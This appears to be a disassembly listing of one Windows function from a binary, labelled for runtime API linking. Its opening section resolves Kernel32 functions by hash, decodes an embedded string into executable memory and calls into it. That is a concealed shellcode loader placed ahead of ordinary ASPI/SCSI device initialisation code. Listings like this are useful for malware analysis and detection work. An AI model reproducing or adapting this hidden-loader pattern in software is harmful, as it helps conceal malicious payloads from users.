Function at 0x404c02
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
push 0
push 0
mov ebx, ecx
push str.schtasks.exe
mov dword [ebp - 4], 0x442b57
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
je 0x404c38
mov dword [ebp - 4], 0x105b7
mov dword [0x442564], 0xaa33
push 0x11
mov esi, str.awDwv6osd9e6QxN49I8suvbpfzookQzoTSRht8y2ATJR2S5YdOg_xFXdtBztrR
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor edi, edi
push edi
push edi
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
push 0xf7f1099
push esi
call fcn.004049d6
push 0xad8e3dbb
push esi
mov dword [ebp - 8], eax
call fcn.004049d6
push 0x95f5a4af
push esi
mov dword [ebp - 0xc], eax
call fcn.004049d6
push 0x43cac33b
push esi
mov dword [ebp - 0x10], eax
call fcn.004049d6
push 0x309fca85
push esi
mov dword [ebp - 0x18], eax
call fcn.004049d6
mov dword [ebp - 0x14], eax
add esp, 0x28
movzx eax, word [ebp - 4]
push 0xa
push eax
push edi
call dword [ebp - 8]
mov esi, eax
cmp esi, edi
jne 0x404cb9
xor al, al
jmp 0x404e31
push esi
push edi
call dword [ebp - 0xc]
cmp eax, edi
mov dword [ebp - 0xc], eax
je 0x404cb2
push esi
push edi
call dword [ebp - 0x10]
push edi
push 0x40
push str.4096
mov dword [ebp - 4], eax
call fcn.004137e1
pop ecx
or ah, 0x20
push eax
push dword [ebp - 4]
push edi
call dword [ebp - 0x14]
push eax
call dword [ebp - 0x18]
mov esi, eax
cmp esi, edi
je 0x404cb2
push dword [ebp - 4]
push dword [ebp - 0xc]
push esi
call fcn.004132c0
push esi
lea eax, [ebp - 0x60]
push 0x46
push eax
push dword [ebp - 4]
push esi
call fcn.00404aa2
add esp, 0x20
call esi
push str.WNASPI32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, edi
mov dword [ebx + 0x20], eax
jne 0x404d34
push 0x10
push str.Error_FS_002
push str.LoadLibrary:_nWNASPI32.DLL_not_found.
jmp 0x404dc8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetASPI32Buffer
push eax
call esi
push str.FreeASPI32Buffer
mov dword [ebx + 0x2c], eax
push dword [ebx + 0x20]
call esi
push str.TranslateASPI32Address
mov dword [ebx + 0x30], eax
push dword [ebx + 0x20]
call esi
push str.GetASPI32SupportInfo
mov dword [ebx + 0x34], eax
push dword [ebx + 0x20]
call esi
cmp eax, edi
mov dword [ebx + 0x24], eax
jne 0x404d7e
push 0x10
push str.Error_FS_003
push str.GetProcAddress:_nGetASPI32SupportInfo_not_fount.
jmp 0x404dc8
push str.SendASPI32Command
push dword [ebx + 0x20]
call esi
cmp eax, edi
mov dword [ebx + 0x28], eax
jne 0x404d9d
push 0x10
push str.Error_FS_004
push str.GetProcAddress:_npfnSendASPI32Command_not_found.
jmp 0x404dc8
call dword [ebx + 0x24]
xor ecx, ecx
mov cl, ah
movzx eax, cl
dec eax
je 0x404e0f
sub eax, 0xe0
je 0x404e01
dec eax
je 0x404df3
dec eax
je 0x404de5
sub eax, 5
je 0x404dd4
push 0x10
push str.GetASPISupportInfo:
push str.Error_initializing_ASPI.
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x404cb2
push edi
push edi
push str.No_SCSI2_device_found.
call fcn.0042d37c
jmp 0x404cb2
push 0x10
push str.GetASPISupportInfo:
push str.Could_not_find_the_ASPI_manager.
jmp 0x404dc8
push 0x10
push str.GetASPISupportInfo:
push str.ASPI_for_Windows_does_not_support_real_mode.
jmp 0x404dc8
push 0x10
push str.GetASPISupportInfo:
push str.Old_ASPI_manager.
jmp 0x404dc8
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp eax, edi
mov dword [ebx + 0x38], eax
jne 0x404e2f
push 0x30
push str.Error_FS_005
push str.Could_not_create_the_event_object.
jmp 0x404dc8
mov al, 1
pop edi
pop esi
pop ebx
leave
ret